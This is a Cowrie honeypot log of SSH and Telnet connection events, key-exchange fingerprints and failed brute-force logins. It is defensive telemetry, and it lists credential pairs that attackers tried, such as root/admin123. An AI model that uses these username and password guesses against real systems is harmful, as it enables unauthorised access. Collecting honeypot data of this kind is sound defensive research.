{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:37:30.926734Z","src_ip":"38.93.206.2","session":"e5338fd41847","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":55478,"dst_ip":"10.17.0.5","dst_port":22,"session":"f93fd5d7a4f8","protocol":"ssh","message":"New connection: 91.92.40.176:55478 (10.17.0.5:22) [session: f93fd5d7a4f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:37:47.840744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:37:48.040433Z","src_ip":"91.92.40.176","session":"f93fd5d7a4f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:37:48.043253Z","src_ip":"91.92.40.176","session":"f93fd5d7a4f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:37:49.406643Z","src_ip":"91.92.40.176","session":"f93fd5d7a4f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:37:50.803791Z","src_ip":"91.92.40.176","session":"f93fd5d7a4f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":42422,"dst_ip":"159.203.135.109","dst_port":22,"session":"48b27fdf9021","protocol":"ssh","message":"New connection: 103.82.132.16:42422 (159.203.135.109:22) [session: 48b27fdf9021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:37:59.774359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:37:59.778184Z","src_ip":"103.82.132.16","session":"48b27fdf9021","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:38:00.025586Z","src_ip":"103.82.132.16","session":"48b27fdf9021","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"150992","message":"login attempt [root/150992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:38:00.771165Z","src_ip":"103.82.132.16","session":"48b27fdf9021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:38:02.021444Z","src_ip":"103.82.132.16","session":"48b27fdf9021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.60249853134155,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:38:02.319271Z","src_ip":"170.64.224.25","session":"86f581fc3a7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.239.153","src_port":53776,"dst_ip":"10.17.0.5","dst_port":23,"session":"5efd5f602c45","protocol":"telnet","message":"New connection: 167.71.239.153:53776 (10.17.0.5:23) [session: 5efd5f602c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:38:38.949079Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":50410,"dst_ip":"159.203.135.109","dst_port":22,"session":"b921f8417760","protocol":"ssh","message":"New connection: 154.16.115.34:50410 (159.203.135.109:22) [session: b921f8417760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:38:49.202199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:38:49.205744Z","src_ip":"154.16.115.34","session":"b921f8417760","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:38:49.232841Z","src_ip":"154.16.115.34","session":"b921f8417760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"optimism2024","message":"login attempt [root/optimism2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:38:49.309076Z","src_ip":"154.16.115.34","session":"b921f8417760","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:38:50.336692Z","src_ip":"154.16.115.34","session":"b921f8417760","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.54408097267151,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:39:09.493029Z","src_ip":"167.71.239.153","session":"5efd5f602c45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48034,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee964057a1e3","protocol":"telnet","message":"New connection: 170.64.224.25:48034 (159.203.135.109:23) [session: ee964057a1e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:39:35.175521Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":53234,"dst_ip":"159.203.135.109","dst_port":23,"session":"d16acd6fa6cf","protocol":"telnet","message":"New connection: 137.184.5.188:53234 (159.203.135.109:23) [session: d16acd6fa6cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:39:36.847182Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":54414,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7cdc3b96826","protocol":"ssh","message":"New connection: 91.92.40.176:54414 (10.17.0.5:22) [session: f7cdc3b96826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:39:48.464451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:39:48.656400Z","src_ip":"91.92.40.176","session":"f7cdc3b96826","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:39:48.659433Z","src_ip":"91.92.40.176","session":"f7cdc3b96826","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome","message":"login attempt [root/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:39:49.936569Z","src_ip":"91.92.40.176","session":"f7cdc3b96826","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40684,"dst_ip":"159.203.135.109","dst_port":23,"session":"21cdea0a734d","protocol":"telnet","message":"New connection: 170.64.224.25:40684 (159.203.135.109:23) [session: 21cdea0a734d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:39:50.441150Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:39:51.204003Z","src_ip":"91.92.40.176","session":"f7cdc3b96826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.274224996566772,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:40:08.121319Z","src_ip":"137.184.5.188","session":"d16acd6fa6cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":20.15651035308838,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:40:10.597551Z","src_ip":"170.64.224.25","session":"21cdea0a734d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.57131218910217,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:40:10.746729Z","src_ip":"170.64.224.25","session":"ee964057a1e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.197.250","src_port":47538,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ab92865dce4","protocol":"ssh","message":"New connection: 192.169.197.250:47538 (159.203.135.109:22) [session: 4ab92865dce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:40:11.597148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:40:11.600976Z","src_ip":"192.169.197.250","session":"4ab92865dce4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:40:11.666210Z","src_ip":"192.169.197.250","session":"4ab92865dce4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"thegraph","password":"graph999","message":"login attempt [thegraph/graph999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:40:11.864719Z","src_ip":"192.169.197.250","session":"4ab92865dce4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:40:12.932997Z","src_ip":"192.169.197.250","session":"4ab92865dce4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.237.244.154","src_port":46594,"dst_ip":"159.203.135.109","dst_port":22,"session":"0adce94f9bf2","protocol":"ssh","message":"New connection: 77.237.244.154:46594 (159.203.135.109:22) [session: 0adce94f9bf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:40:53.407546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:40:53.414146Z","src_ip":"77.237.244.154","session":"0adce94f9bf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:40:53.509974Z","src_ip":"77.237.244.154","session":"0adce94f9bf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"swipe2024","message":"login attempt [root/swipe2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:40:53.802288Z","src_ip":"77.237.244.154","session":"0adce94f9bf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:40:54.901233Z","src_ip":"77.237.244.154","session":"0adce94f9bf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":44850,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c2af5bc68fb","protocol":"ssh","message":"New connection: 147.45.211.215:44850 (10.17.0.5:22) [session: 5c2af5bc68fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:41:16.394464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:41:16.397825Z","src_ip":"147.45.211.215","session":"5c2af5bc68fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:41:16.566633Z","src_ip":"147.45.211.215","session":"5c2af5bc68fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"irene","message":"login attempt [root/irene] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:41:17.077791Z","src_ip":"147.45.211.215","session":"5c2af5bc68fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:41:18.250909Z","src_ip":"147.45.211.215","session":"5c2af5bc68fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":59352,"dst_ip":"10.17.0.5","dst_port":22,"session":"553e077577c6","protocol":"ssh","message":"New connection: 91.92.40.176:59352 (10.17.0.5:22) [session: 553e077577c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:41:44.905036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:41:44.998413Z","src_ip":"91.92.40.176","session":"553e077577c6","protocol":"ssh"}
